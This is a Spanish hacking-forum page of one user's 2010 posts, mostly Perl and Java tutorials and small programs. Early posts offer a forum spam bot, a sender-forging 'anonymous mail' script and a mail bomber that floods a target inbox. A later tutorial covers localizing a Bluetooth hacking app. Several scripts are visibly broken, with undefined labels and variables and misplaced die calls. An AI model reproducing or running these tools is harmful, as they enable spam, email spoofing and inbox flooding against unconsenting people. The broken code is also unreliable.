Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - ProcessKill

#41
Perl / BotSMF [SPAM]
Febrero 24, 2010, 04:32:23 PM
Código: perl
#!c:/perl/bin
#c0dex by m0x.lk || Fucker Team
#Greetz: RemoteExecution | Friends
#SpamerForo Priv8

use Win32::OLE;
use Win32::SAM;

my $pass;
my $user;
my $host;
my $post;
my $title;
my $cont;

system ("clear");
system ("cls");
system ("color f3");

print "\n[+]c0dex by m0x.lk || Fucker Team\n";
print "[+]Greetz: RemoteExecution | Friends\n";
print "[+]SpamerForo Priv8\n";
sleep 1;

$| = 1;

$Win32::OLE::Warn = 3;

print "[+]Host: ";
$host=<STDIN>;
print "[+]User: ";
$user=<STDIN>;
print "[+]Pass: ";
$pass=<stdin>;

print "[+]Login...\n";

StartIE();


Navigate("$host/index.php?action=logout");
SetEditBox("user","$user");
SetEditBox("passwrd","$pass");
ClickFormButton("Ingresar");

print "[+]Link Post: ";
$post=<STDIN>;
print "[+]Asunto Post: ";
$title=<STDI>;
print "[+]Mensaje Post: ";
$cont=<STDIN>;

print "\n[+]Spaming...\n";

spam:;
Navigate("$host/$postz");
SetEditBox("subject","$title");
SetEditBox("message","$cont");
ClickFormButton("Publicar")
goto spammm;
#42
Perl / Funcion While
Febrero 24, 2010, 04:32:04 PM
- Funcion While:

  • Que es While?

    While, se usa para crear ciclos ahorrando bytes, evitando los bucles.
    En los whiles, podes ponerle limites y no dejarlo haciendo siglos infinitos.

  • Como usar While:

    Código: perl

    #!/usr/bin/perl
    $x=0; -> Asignamos la incializacion.
    do { -> Lo abrimos.
    print "Hola\n"; -> impresion.
    $x++; -> Ponemos la conducion de rompimiento.
    } while( $x <= 10 ); -> Cerramos y le damos de limite, 10 ciclos.


    Como veran, esta ahi explicado ;)

    De esta manera, ahorramos bytes y podemos controlar los bucles :)
#43
Perl / Anonymous Mail
Febrero 24, 2010, 04:31:47 PM
Código: perl
#!/usr/bin/perl
print "        |---------------------------------------------|\n";
print "        |            Anonymous mail by Erik           |\n";
print "        |           [email protected]           |\n";
print "        |              www.code-makers.es             |\n";
print "        |---------------------------------------------|\n";
use Net::SMTP;
print "Introduzca el mailhost al que desea solicitar la conexion:";
$mailhost = <STDIN>;
print "Introduzca el email que desea utilizar:";
$emailfrom = <STDIN>;
print "Introduzca el email que desea bombear:";
$emailto = <STDIN>;
print "Introduzca el asunto del correo:";
$asunto = <STDIN>;
print "Introduzca el mensaje que desea enviar (Puede usar secuencias de escape (\\n, \\a...)):";
$sms = <STDIN>;
$smtp = Net::SMTP->new("$mailhost",
Hello => "$mailhost",
Timeout =>25,
Debug   =>1,
);
die "No se ha podido conectar al servidor";
print $smtp->domain,"\n";
$smtp->mail("$emailfrom");
$smtp->to("$emailto");
$smtp->data();
$smtp->datasend("To: $emailto");
$smtp->datasend("From: $emailfrom");
$smtp->datasend("Subject:$asunto\n");
$smtp->datasend("$sms");
$smtp->dataend();
$smtp->quit();
#44
Perl / Mail Bomber
Febrero 24, 2010, 04:31:09 PM
Codigo de un mail bomber programado en PERL

Código: perl
#!/usr/bin/perl
print "        |---------------------------------------------|\n";
print "        |            Mail bomber by Erik              |\n";
print "        |          Created for Code-Maker.es          |\n";
print "        |          [email protected]            |\n";
print "        |---------------------------------------------|\n";
use Net::SMTP;
print "Buenas, cuantos mails bombs deseas hacer:";
$n = <STDIN>;
print "Introduzca el mailhost al que desea solicitar la conexion:";
$mailhost = <STDIN>;
print "Introduzca el email que desea utilizar:";
$emailfrom = <STDIN>;
print "Introduzca el email que desea bombear:";
$emailto = <STDIN>;
print "Introduzca el asunto del correo:";
$asunto = <STDIN>;
print "Introduzca el mensaje que desea enviar (Puede usar secuencias de escape (\\n, \\r...)):";
$sms = <STDIN>;
for ($a=1;$a<=$n;$a++) {
$smtp = Net::SMTP->new("$mailhost",
Hello => "$mailhost",
Timeout =>25,
Debug   =>1,
);
die "No se ha podido conectar al servidor";
print $smtp->domain,"\n";
$smtp->mail("$emailfrom");
$smtp->to("$emailto");
$smtp->data();
$smtp->datasend("To: $emailto");
$smtp->datasend("From: $emailfrom");
$smtp->datasend("Subject:$asunto\n");
$smtp->datasend("$sms");
$smtp->dataend();
$smtp->quit();


8)
#45
Tutorial Perl desde 0

By: Black Poision & Painboy


Perl (Practical Extraction and Report Language) es un lenguaje de programación desarrollado por Larry Wall (lwall at No tienes permitido ver los links. Registrarse o Entrar a mi cuenta) inspirado en otras herramientas de UNIX como son: sed, grep, awk, c-shell, para la administración de tareas propias de sistemas UNIX.

No establece ninguna filosofía de programación concreta. No se puede decir que sea orientado a objetos, modular o estructurado aunque soporta directamente todos estos paradigmas; su punto fuerte son las labores de procesamiento de textos y archivos.

No es ni un compilador ni un intérprete, está en un punto intermedio, cuando mandamos a ejecutar un programa en Perl, se compila el código fuente a un código intermedio en memoria que se optimiza como si se fuera a elaborar un programa ejecutable pero es ejecutado por un motor, como si se tratase de un interprete.

Lenguaje de programación basado en scripts portable a casi cualquier plataforma. Es muy utilizado para escribir CGIs. Uno de sus elementos más potentes son las expresiones regulares, que a partir de su versión en Perl han sido adoptadas por otros lenguajes y plataformas como .NET o Javascript.


bueno pues el manual lo hago pensando que se usara windows  haci que necesitaremos el active perl

bajenlo de aca
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Bueno cuando ya tengan instalado el active perl abriremos el block de notas hay es donde haremos todo nuestro code :P

como primera linea siempre pondremos

Código: perl
#!/usr/bin/perl

es lo que le indica al SO que trabajara con un script en perl como este lenguaje es de unix  "/usr/bin/perl" es la direccion donde se encuentra el interprete "#!" esto indica que se debe usar un interprete de comandos

bueno despues de esta linea ya va nuestro code

ejemplo

Código: perl

#!/usr/bin/perl

print "Hola Mundo\n";

sleep(10);


print "Hola Mundo\n";
esta linea imprime hola mundo en pantalla

y

sleep(10);

hace que podamos ver hola mundo retrasando 10 segundos el programa antes de cerrarse

nota* despues de cada comando se debe poner ";"
la forma de guardarlo es
archivo> guardar como> No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

despues puedes ejecutarlo como cualquier otro programa

te saldra algo como esto



variables

ahora explicare las variables

Escalares

en este tipo podemos poner numeros o palabras

Código: perl
$nombredelavariable="palabra";
$nombredelavariable=numero;

ejemplo

Código: perl
$a="Black";
$b=30;


podemos definir varias variables al mismo tiempo con parentecis por ejemplo

Código: perl
($a,$b,$c,$d) = ("manual","by","Black", "Poison");


esto es lo mismo que poner

Código: perl

$a = "manual";
$b = "by";
$c = "Black";
$d = "Poison";


la forma de inprimirlas en pantalla es haci

Código: perl
#!/usr/bin/perl

($a,$b,$c,$d) = ("manual","by","Black", "Poison");

print "$a $b $c $d\n";

sleep(10);


como ven solo debemos declararlas y despues solo poner el nombre de la variable

bueno pues continuo con el tutorial :P

Código: perl
<STDIN>


este comando sirve para almacenar un valor o cadena a una variable
ejemplo

Código: perl
$a = <STDIN>;


lo que se hace con <STDIN> es  leer lo que se escribe en pantalla y asignarlo a una variable

por ejemplo

Código: perl
#!/usr/bin/perl


print "Como te llamas?\n";

$nombre = <STDIN>;

print "Saludos $nombre \n";

sleep(10);




Arreglos en perl

los arreglos son arreglos de escalares


ejemplo

Código: perl
@arreglo = ("Manual","By","Black","Poison","y","Painboy");


como ven los arreglos se ponen con @ al principio

y para imprimir algun escalar que este dentro de un arreglo seria haci

Código: perl
print "$arreglo[0]\n" 



esto imprimiria manual como ven use $ en lugar de @ por que lo que quiero imprimir es un escalar

para imprimir un scalar de un arreglo

debemos poner $nombredelarreglo[numerodelscalar]

si hubiera querido poner Black seria $arreglo[2]

se empieza a contar desde cero en la pocision en la que estan los escalares dentro del arreglo

Funciones Push & Pop saca o crea elementos desde el final

Funciones Shift & Unshift Saca o crea elementos desde el principio

Bloques
Código: perl

{
comandos

}



un bloque es un grupo de comandos dentro de un par de llaves

Código: perl
#!/usr/bin/perl

#bloque1
{
print "Dentro del bloque 1\n";
sleep(10);
}


#bloque2

{
print "Dentro del Bloque2\n";
sleep(10);
}


Sentencia IF

pongo esta sentencia por que se usan bloques con ella

ejemplo

Código: perl
if (condision){comado o comandos que se ejecutan si la condision se cumple}

if($a==20){print "tu numero es 20\n";}


si $a es igual a 20 imprimira "tu numero es 20 en pantalla"

de lo contrario saltara if y continuara con lo que este despues

ahora usando else en la sentencia

Código: perl
if($a==20){print "tu numero es 20\n";} else {print "el numero no es 20\n";}


si el numero es 20 mostrara "tu numero es 20" y si el numero es diferente a 20 mostrara "el numero no es 20"

Bucle for

Código: perl
for (expresion)
{
comando
}


Bucle While/Until By:Painboy

while (condicion) {
        Instruccion para cuando la condicion sea cierta
    }

    until (condicion) {
        instruccion para cuando la condicion sea falsa
    }

Ejemplo:

Código: perl

#!/usr/bin/perl
var1= "Painboy";
var2 = "Blackpoision";
while (var1 == var2)
{
print "Son lo mismo";
}
until
{
print " No son los mismos";
}


Extras By:Painboy

\n = Salto de linea (1)
\t = Espacios (Tabulador) (8 espacios)
\a = Pitido (Produce un pitido en el pc)

Ejemplo:
Código: perl

#!/usr/bin/perl
#Salto de linea al inicio y 8 espacios para la derecha
print "\n \t By: Painboy & Black Poision";
#Un pitido y muestra mensaje para e-r00t
print "\a Para e-r00t";



Operadores logicos By: Painboy

== es igual
!= No es igual
<  menor que
<= Menor o igual que
>  Mayor que
=> mayor o igual que

Ejemplo:

Código: perl

#!/usr/bin/perl
var1 = 3;
var2 = 2;
if (var1 == var2)
{
print "la variable 1 tiene el mismo valor que la variable 2";
}
else
{
print "No tienen un mismo valor las 2 variables
}
#Claramente el resultado seria No tienen un mismo valor las 2 variables.


Tutorial by: Black Poision & Painboy
#46
Java / Nuestros programas en Java
Febrero 24, 2010, 04:29:13 PM
este post es para ke pongàmos nuestros programas en java

espero ke K4IS3R tambien ponga los suyos

aki uno ke hice rapido

convierte la moneda de pesos mexicanos a diferentes monedas


Código: java
import javax.swing.*;

public class Conversion {

public static void main (String args []){


double pesos,dollar,euro,libra,bf,yen,yuan;
String cantidad1;

cantidad1 = JOptionPane.showInputDialog("INTRODUCE LA QUANTITÉ EN PESOS MEXICANOS");

pesos = Double.parseDouble(cantidad1);

dollar = pesos / 13.1;

euro = pesos / 18.3742;

libra = pesos / 20.7721;

bf = pesos / 149;

yen = pesos / 0.1584;

yuan = pesos / 2.1;

JOptionPane.showMessageDialog(null,+pesos +" PESOS MEXICANOS EKIVALEN A:\n"+"\nDOLARES: "+dollar +" \nEURO: "+euro
+"\nLIBRAS: "+libra + "\nBF: "+bf+ " \nYEN: "+yen +" \nYUAN: "+yuan);


}//fin del metodo main



}//fin de la clase Conversion


algo muy sencillo

salu2


un pekeño ejemplo de interfaz en java

Código: java
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;



public class Interfaz extends JFrame{

private JTextField campo1,campo2,campo3;
private JPasswordField contra;

public Interfaz(){

super("INTERFAZ");

Container contenedor = getContentPane();
contenedor.setLayout(new FlowLayout());


campo1 = new JTextField(10);
campo1.setToolTipText("CAMPO");
contenedor.add(campo1);

campo2 = new JTextField("CAMPO EDITABLE");
campo2.setToolTipText("CAMPO EDITABLE");
contenedor.add(campo2);

campo3 = new JTextField("CAMPO NO EDITABLE");
campo3.setToolTipText("CAMPO NO EDITABLE");
campo3.setEditable(false);
contenedor.add(campo3);

contra = new JPasswordField("CONTRASEÑA");
contra.setToolTipText("CAMPO OCULTO");
contenedor.add(contra);


Manejador evento = new Manejador();
campo1.addActionListener(evento);
campo2.addActionListener(evento);
campo3.addActionListener(evento);
contra.addActionListener(evento);

setSize(300,100);
setVisible(true);

}//fin del consructor Interfaz


public static void main(String args[]){

Interfaz aplicacion = new Interfaz();
aplicacion.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);


}//fin de la clase main


private class Manejador implements ActionListener{

public void actionPerformed (ActionEvent evento){


String cadena = "";

if(evento.getSource()==campo1)
cadena = "CAMPO1: "+evento.getActionCommand();

if(evento.getSource()==campo2)
cadena = "CAMPO2: "+evento.getActionCommand();

if(evento.getSource()==campo3)
cadena = "CAMPO3: "+evento.getActionCommand();

if(evento.getSource()==contra)
cadena = "CONTRASEÑA: "+evento.getActionCommand();


JOptionPane.showMessageDialog(null, cadena);



}




}//fin de la clase Manejador





}//fin de la clase Interfaz


Calcular el factorial de un numero

Código: java
import javax.swing.*;


public class Factorial{

public static void main (String args []){

int num,cont,fact=1;
String num1;

num1 = JOptionPane.showInputDialog("INTRODUCE UN NUMERO");
num = Integer.parseInt(num1);

for(cont=1; cont<=num;cont++){


fact=fact*cont;


}


JOptionPane.showMessageDialog(null, "EL FACTORIAL CUIJA ESSSSS: \n"+fact);


}
#47
Bueno, he querido hacer este tuto desde hace tiempo, debido a que me he encontrado con grandes herramientas tanto para hacking como para otros fines, que son programadas en JAVA, diseñadas para los celulares (moviles) y que vienen en idiomas diferentes del Español.

Primero decirles que necesitamos para el procedimiento de Traduccion:

- La App a Traducir
- Un Descompresor (WinRAR)
- Un Descompilador (opcional)
- Lectores de Clases Java
- Buen conocimiento del lenguaje nativo de la aplicacion, para hacer una buena traduccion.

Bien, empecemos:

Generalmente los archivos en java viene con extension .jar



por lo que debemos cambiarla por .zip o .rar, y proceder a descomprimirla en un directorio para poder trabajar por separado en cada una de las clases que la componen...



Entonces aqui es donde se define que tipo de trabajo debemos hacer, ya que nos podemos encontrar aplicaciones que cuentan con un fichero lang, que esencialmente es un archivo de texto plano con todas las strings que usa el programa, hasta archivos .class que vienen compiladas en JAVA Binario...

Paso 1. Archivo Lang - Texto Plano

Nos Basaremos en la Aplicacion BT Info - Super Bluetooth Hack 1.08

Para este tipo de aplicaciones solo es necesario descomprimirla y una vez ubicado el archivo de lenguaje, este se abre con un editor de textos normal, en este caso nos referimos al bloc de notas...

Ubicamos el archivo lang...



en este caso una carpeta con los archivos usados por la aplicacion...



escogemos el primero y lo abrimos con el bloc de notas...

Nos damos cuenta que es el archivo con el listado de los lenguajes que usa
el programa, asi que solo traducimos la linea que dice "English" por "Español".



En este caso no tenemos que traducir todos los archivos, ya que solo necesitamos modificar el archivo C que es el del lenguaje ingles, el cual vamos a traducir al español, los demas los dejamos como estan...



Traducimos todas las frases y cadenas de texto al español, y una vez finalizado este proceso guardamos el archivo...

Revisamos si no hay otros archivos por traducir, y cuando estemos listos vamos a "instalar" estos archivos en la aplicacion... Paso 3.

Paso 2. Archivo .CLASS - Java Binario

Bueno, basicamente es el mismo proceso que el anterior, solo que este implica revisar uno por uno los archivos, ademas de que no lo hacemos con el Bloc de Notas sino con otras herramientas mas avanzadas.

Si queremos descompilar los archivos, ver su estructura, codigo fuente y funcionamiento en JAVA, pues usaremos el DJ Java Decompiler, pero como solo vamos a traducirla para nuestro proposito y no mas, pues entonces hacemos uso de otras dos herramientas...

InClassTranslator y MobiTrans



Los dos programas son muy parecidos en su funcionamiento, pero yo recomiendo usar el MobiTrans, igual eso es decision de ustedes.

Ambos programas cuentan con un area en la que muetran el listado de las "strings" o frases en el idioma nativo de la aplicacion, un area donde se muestra la actual selecionada, y una parte donde se debe introducir la traduccion de esa frase o "string".

Bueno, usaremos el MobiTrans...

Para este caso nos basaremos en el BT File Manager, cuyo archivo de idioma es el "e.class",
lo abrimos con el programa y ese nos preguntara que tipo de clase es:



Entonces escogemos una clase normal, aunque fijense que hay clases especiales como son las de Macrospace, Handy-Games o Gameloft.

Vemos que nos ha cargado toda la lista de "Strings" usadas por la aplicacion, asi que empezamos por la primera, le damos doble click y nos sale un cuadro de dialogo con la original y un espacio para escribir la traduccion...



Luego alli escribimos el correspondiente de la Frase original pero en nuestro idioma, y luego damos en el boton OK.

Repetimos este paso para todas las frases, y una vez finalizado el proceso procedemos a guardar el trabajo hecho.

Solamente damos en el boton de guardar, y en el dialogo que nos sale le damos OK, el resto no lo tocamos para nada.




Entonces volvemos al directorio donde teniamos descomprimida la aplicacion, y veremos que se han creado varios archivos...

De alli cambiamos el nombre de la clase "e.class" a e.class.bac, ya que esta es la clase original, y el archivo que nos creo el traductor llamado "e.class.ru" lo renombramos a "e.class", y hacemos el mismo proceso con cualquier otro archivo de clase que hayamos
traducido con el programa.

Una vez se haya finalizado este proceso, estamos listos para "instalar" la traduccion en la aplicacion.

Paso 3. "Instalar" la traduccion en la Aplicacion original.

Para este paso haremos uso del descompresor que hayan usado para descomprimir la aplicacion (en este caso WinRAR).

Abrimos la aplicacion original y alli nos dirigimos hasta el directorio donde se encuentra el archivo original que contiene todas las "strings" o frases que usa la aplicacion, ya sea en texto plano o en .class, para ambos es lo mismo.

Aparte y con el explorador de archivos, nos dirigimos hasta la carpeta donde tenemos la aplicacion descomprimida y ya traducida, seleccionamos el archivo ya modificado y lo "arrastramos" hasta el WinRAR.



Nos sale un cuadro de dialogo en el que solo debemos de presionar OK.

Y si el WinRAR nos dice que si queremos modificar el archivo que ya esta adentro le decimos que SI, luego de esto haremos el mismo proceso para cada uno de los archivos que hayamos traducido o modificado, luego una vez finalizado todo podemos cerrar el Winrar...

Y ahora, solo hace falta volver a cambiarle la extension al archivo de .ZIP a .JAR para que pueda ser aceptada por el telefono, instalan la aplicacion el el telefono y....... wala..... ya la tienen en Español.

[/center]
#48
Java / Applet de factorizacion de enteros gausianos
Febrero 24, 2010, 04:24:03 PM
Applet de factorizacion de enteros gausianos

Código: java
// <XMP>
// Gaussian Integer factorization applet
//
// Written by Dario Alejandro Alpern (Buenos Aires - Argentina)
// Last updated May 31st, 2002, See http://www.alpertron.com.ar/GAUSIANO.HTM
//
// No part of this code can be used for commercial purposes without
// the written consent from the author. Otherwise it can be used freely
// except that you have to write somewhere in the code this header.
//
import java.applet.*;
import java.util.*;
import java.awt.*;
import java.math.*;

public final class gausiano extends Applet implements Runnable {

private BigInteger Primes[];
private int Exponents[];
private BigInteger Solution1[];
private BigInteger Solution2[];
private BigInteger Increment[];
private BigInteger Aux[];
private BigInteger ValA, ValB;
private StringBuffer info;
private String txt;
private int SolNbr;
private Frame factorWindow;
private ecmc factorPanel;
private volatile Thread calcThread;
private BigInteger LastModulus = BigInteger.valueOf(0);
private int Ind;
private String textError;

void w(String texto) {
  info=info.append(texto);
  }

void Solution(BigInteger value) {
  SolNbr++;
  w(SolNbr+") x = "+value.toString()+"<BR>");
  }

public void init() {
  Primes=new BigInteger[400];
  Exponents=new int[400];
  Solution1=new BigInteger[400];
  Solution2=new BigInteger[400];
  Increment=new BigInteger[400];
  Aux=new BigInteger[400];
  }

/* type = 0: factor expression, type = 1: just compute expression */
public String startCalc(String expr, int type) {
  String InputField;
  if (calcThread != null) {
//    TerminateThread = true;
    try {
      calcThread.join();        /* Wait until the solving thread dies */
      } catch (InterruptedException ie) {};
    }
  calcThread = new Thread(this);  /* Start solving thread */
  try {
    int ExpressionRC;
    BigInteger [] ExpressionResult = new BigInteger[2];
    InputField = expr.trim();
    if (InputField.equals("")) {
      ExpressionRC = -6;
      }
    try {
      ExpressionRC = GaussExpression.ComputeExpression(InputField, ExpressionResult);
      } catch (OutOfMemoryError e) {ExpressionRC = -1;}
    switch (ExpressionRC) {
      case -1:
        textError = "No hay suficiente memoria.";
        break;
      case -2:
        textError = "Número muy grande (más de 500 dígitos).";
        break;
      case -3:
        textError = "Expresión intermedia con más de 2000 dígitos.";
        break;
      case -4:
        textError = "División no entera.";
        break;
      case -5:
        textError = "Error de paréntesis.";
        break;
      case -6:
        textError = "Error de sintaxis.";
        break;
      case -7:
        textError = "Demasiados paréntesis.";
        break;
      case -8:
        textError = "Parámetro inválido.";
        break;
      default:
        if (ExpressionResult[0].compareTo(BigInteger.valueOf(10L).pow(500))>=0) {
          textError = "Número muy grande (más de 500 dígitos).";
          }
        else {
          textError = "";
          }
      }
    if (textError.length() > 0) {return textError;}
    ValA = ExpressionResult[0];
    ValB = ExpressionResult[1];
    } catch (Exception e) {return "Se entraron datos inválidos";}
  if (type == 1) {     /* Only computing expression */
    info=new StringBuffer();
    w("<HTML><HEAD><TITLE>Calculadora de enteros gausianos</TITLE></HEAD><BODY>");
    w("<CENTER><H3><FONT COLOR=Red>Calculadora de enteros gausianos</FONT></H3></CENTER>");
    w("<P><I>por Dario Alejandro Alpern</I><P><DL><DT>Expresión de entrada:<DD>");
    w(InputField);
    w("<P><DT>Valor:<DD>");
    w(ValA.toString()+(ValB.signum()>=0?" + ":" - ")+ValB.abs().toString()+" i</DL>");
    w("<P>Si encontró algún error, por favor envíeme un <A HREF=\"mailto:[email protected]?subject=Factorizacion de enteros de Gauss\">e-mail</A><P>");
    w("<A HREF=\"GBOOK.HTM\">Apriete aquí</A> para ver o firmar mi libro de invitados.</BODY></HTML>");
    return info.toString();
    }
  calcThread.start();
  return "";
  }

public String resultCalc() {
  if (calcThread == null) {
    return info.toString();
    }
  return "";
  }

public void run() {
  String parms1[];
  StringBuffer parms2[];
  parms1=new String[0];
  parms2=new StringBuffer[1];
  info=new StringBuffer();
  w("<TITLE>Applet de factorizacion de enteros de Gauss</TITLE><CENTER><FONT COLOR=Red><B>");
  w("Factores primos de "+ValA.toString()+(ValB.signum()>=0?" + ":" - ")+ValB.abs().toString()+" i</B></FONT></CENTER><P><I>por Dario Alejandro Alpern</I><P>");
  Date OldDate=new Date();
  long Old=OldDate.getTime();
  SolNbr = 0;
  GaussianFactorization();
  Date NewDate=new Date();
  long New=NewDate.getTime();
  w("<P>Tiempo de cálculo: ");
  int t=(int)(((New-Old)/1000+86400)%86400);
  w(t/3600+"h "+((t%3600)/60)+"m "+(t%60)+"s");
  w("<P>Si encontró algún error, por favor envíeme un <A HREF=\"mailto:[email protected]?subject=Factorizacion de enteros de Gauss\">e-mail</A><P>");
  w("<A HREF=\"GBOOK.HTM\">Apriete aquí</A> para ver o firmar mi libro de invitados.</BODY></HTML>");
  calcThread = null;
  }

void GaussianFactorization() {
  BigInteger BigInt0, BigInt1, BigInt2;
  BigInt0 = BigInteger.valueOf(0L);
  BigInt1 = BigInteger.valueOf(1L);
  BigInt2 = BigInteger.valueOf(2L);
  BigInteger K, Mult1, Mult2, p, q, M1, M2, Tmp;
  int index, index2;

  BigInteger norm = ValA.multiply(ValA).add(ValB.multiply(ValB));
  Ind = 0;
  if (norm.signum() == 0) {
    w("Cualquier primo gausiano divide este número");
    return;
    }
  w("<UL>");
  if (norm.compareTo(BigInt1) > 0) {
    if (norm.bitLength() < 32) {
      long modulus = norm.longValue();
      int Exp = 0;
      Ind = 0;
      while (modulus % 2 == 0) {
        Exp++;
        modulus /= 2;
        }
      if (Exp > 0) {
        Primes[0] = BigInt2;
        Exponents[0] = Exp;
        Ind++;
        }
      long Div = 3;
      while (Div*Div <= modulus) {
        Exp = 0;
        while (modulus % Div == 0) {
          Exp++;
          modulus /= Div;
          }
        if (Exp > 0) {
          Primes[Ind] = BigInteger.valueOf(Div);
          Exponents[Ind] = Exp;
          Ind++;
          }
        Div += 2;
        }
      if (modulus > 1) {
        Primes[Ind] = BigInteger.valueOf(modulus);
        Exponents[Ind] = 1;
        Ind++;
        }
      }
    else {     /* Factor norm > 2^32 */
      factorPanel = new ecmc();
      factorWindow = new Frame("Factorizacion de la norma");
      factorWindow.setResizable(false);
      factorWindow.add(factorPanel);
      factorPanel.setSize(600, 390);
      Insets in = factorWindow.getInsets();
      factorWindow.setSize(600+in.right+in.left, 390+in.top+in.bottom);
      factorWindow.show();
      Ind = factorPanel.getFactors(norm, Primes, Exponents);
      factorWindow.remove(factorPanel);
      factorWindow.dispose();
      }
    for (index = 0; index < Ind; index++) {
      p = Primes[index];
      if (p.equals(BigInt2)) {
        for (index2 = 0; index2 < Exponents[index]; index2++) {
          DivideGaussian(BigInt1, BigInt1);           /* Divide by 1+i */
          DivideGaussian(BigInt1, BigInt1.negate());  /* Divide by 1-i */
          }
        }
      if (p.testBit(1) == false) {    /* if p = 1 (mod 4) */
        q = p.subtract(BigInt1);      /* q = p-1 */
        K = BigInt1;
        do {                 // Compute Mult1 = sqrt(-1) mod p
          K = K.add(BigInt1);
          Mult1 = K.modPow(q.shiftRight(2),p);
          } while (Mult1.equals(BigInt1) || Mult1.equals(q));
        Mult2 = BigInt1;
        while (true) {
          K = Mult1.multiply(Mult1).add(Mult2.multiply(Mult2)).divide(p);
          if (K.equals(BigInt1)) {
            break;
            }
          M1 = Mult1.mod(K);
          M2 = Mult2.mod(K);
          if (M1.compareTo(K.shiftRight(1)) > 0) {M1 = M1.subtract(K);}
          if (M2.compareTo(K.shiftRight(1)) > 0) {M2 = M2.subtract(K);}
          Tmp = Mult1.multiply(M1).add(Mult2.multiply(M2)).divide(K);
          Mult2 = Mult1.multiply(M2).subtract(Mult2.multiply(M1)).divide(K);
          Mult1 = Tmp;
          }            /* end while */
        if (Mult1.abs().compareTo(Mult2.abs()) < 0) {
          Tmp = Mult1;
          Mult1 = Mult2;
          Mult2 = Tmp;
          }
        for (index2 = 0; index2 < Exponents[index]; index2++) {
          DivideGaussian(Mult1,Mult2);
          DivideGaussian(Mult1,Mult2.negate());
          }
        }              /* end p = 1 (mod 4) */
      else {           /* if p = 3 (mod 4) */
        for (index2 = 0; index2 < Exponents[index]; index2++) {
          DivideGaussian(Primes[index],BigInt0);
          }            /* end p = 3 (mod 4) */
        }
      }
    }
  if (ValA.equals(BigInt1)) {
    if (Ind == 0) {
      w("Ningún primo gausiano divide este número");
      }
    }
  else if (ValA.add(BigInt1).signum() == 0) {
    w("<LI>-1");
    }
  else if (ValB.equals(BigInt1)) {
    w("<LI>i");
    }
  else {
    w("<LI>-i");
    }
  w("</UL>");
  }

private void DivideGaussian(BigInteger real, BigInteger imag) {
  real = real.abs();
  BigInteger norm = real.multiply(real).add(imag.multiply(imag));
  BigInteger realNum = ValA.multiply(real).add(ValB.multiply(imag));
  BigInteger imagNum = ValB.multiply(real).subtract(ValA.multiply(imag));
  if (realNum.mod(norm).signum() == 0 &&
      imagNum.mod(norm).signum() == 0) {
    ValA = realNum.divide(norm);
    ValB = imagNum.divide(norm);
    w("<LI>");
    w(real.toString()+(imag.signum()>=0?" + ":" - ")+imag.abs().toString()+" i");
    }
  }
}


Espero que les sirva el code  ;D Saludos
#49
Java / Generador de quinielas
Febrero 24, 2010, 04:23:19 PM
Bueno aqui les dejo un programita hecho por mi que sirve para generar quinielas de futbol aleatorias , bueno aca les pongo el code y una imagen :)

Código: java

import javax.swing.*;
import javax.swing.event.*;
import java.awt.*;
import java.awt.event.*;
class Kaiser extends JFrame{
    JLabel cuadro;
    JLabel cuadro1;
    JLabel cuadro2;
    JLabel cuadro3;
    JLabel cuadro4;
    JLabel cuadro5;
    JLabel cuadro6;
    JLabel cuadro7;
    JLabel cuadro8;
    JLabel cuadro9;
    JLabel cuadro10;
    JLabel cuadro11;
    JLabel cuadro12;
    JLabel cuadro13;
    JLabel cuadro14;
    JLabel primero;
    JLabel segundo;
    JLabel tercero;
    JLabel cuarto;
    JLabel quinto;
    JLabel sexto;
    JLabel septimo;
    JLabel octavo;
    JLabel noveno;
    JLabel decimo;
    JLabel onceavo;
    JLabel doceavo;
    JLabel treceavo;
    JLabel catorceavo;
    JLabel pleno;
    JButton generar;
    JLabel kaiser;
       
    public Kaiser(){
        Container panel;   
        panel=getContentPane();
        panel.setLayout(null);
        setSize(1000,1000);
        Font letra;
        letra=new Font("Comic sans",Font.BOLD,50);
        this.kaiser=new JLabel("BY K4[I]S3R");
        kaiser.setBounds(100,450,300,300);
        kaiser.setForeground(java.awt.Color.RED);
        kaiser.setFont(letra);
        panel.add(kaiser);
        this.primero=new JLabel("Primero: ");
        primero.setBounds(10,10,100,20);
        panel.add(primero);
        this.cuadro=new JLabel("");
        cuadro.setBounds(80,10,100,20);
        panel.add(cuadro);
        this.segundo=new JLabel("Segundo: ");
        segundo.setBounds(10,40,100,20);
        panel.add(segundo);
        this.cuadro1=new JLabel("");
        cuadro1.setBounds(80,40,100,20);
        panel.add(cuadro1);
        this.tercero=new JLabel("Tercero: ");
        tercero.setBounds(10,70,100,20);
        panel.add(tercero);
        this.cuadro2=new JLabel("");
        cuadro2.setBounds(80,70,100,20);
        panel.add(cuadro2);
        this.cuarto=new JLabel("Cuarto: ");
        cuarto.setBounds(10,100,100,20);
        panel.add(cuarto);
        this.cuadro3=new JLabel("");
        cuadro3.setBounds(80,100,100,20);
        panel.add(cuadro3);
        this.quinto=new JLabel("Quinto: ");
        quinto.setBounds(10,130,100,20);
        panel.add(quinto);
        this.cuadro4=new JLabel("");
        cuadro4.setBounds(80,130,100,20);
        panel.add(cuadro4);
        this.sexto=new JLabel("Sexto: ");
        sexto.setBounds(10,160,100,20);
        panel.add(sexto);
        this.cuadro5=new JLabel("");
        cuadro5.setBounds(80,160,100,20);
        panel.add(cuadro5);
        this.septimo=new JLabel("Septimo: ");
        septimo.setBounds(10,190,100,20);
        panel.add(septimo);
        this.cuadro6=new JLabel("");
        cuadro6.setBounds(80,190,100,20);
        panel.add(cuadro6);
        this.octavo=new JLabel("Octavo: ");
        octavo.setBounds(10,220,100,20);
        panel.add(octavo);
        this.cuadro7=new JLabel("");
        cuadro7.setBounds(80,220,100,20);
        panel.add(cuadro7);
        this.noveno=new JLabel("Noveno: ");
        noveno.setBounds(10,250,100,20);
        panel.add(noveno);
        this.cuadro8=new JLabel("");
        cuadro8.setBounds(80,250,100,20);
        panel.add(cuadro8);
        this.decimo=new JLabel("Decimo: ");
        decimo.setBounds(10,280,100,20);
        panel.add(decimo);
        this.cuadro9=new JLabel("");
        cuadro9.setBounds(80,280,100,20);
        panel.add(cuadro9);
        this.onceavo=new JLabel("Onceavo");
        onceavo.setBounds(10,310,100,20);
        panel.add(onceavo);
        this.cuadro10=new JLabel("");
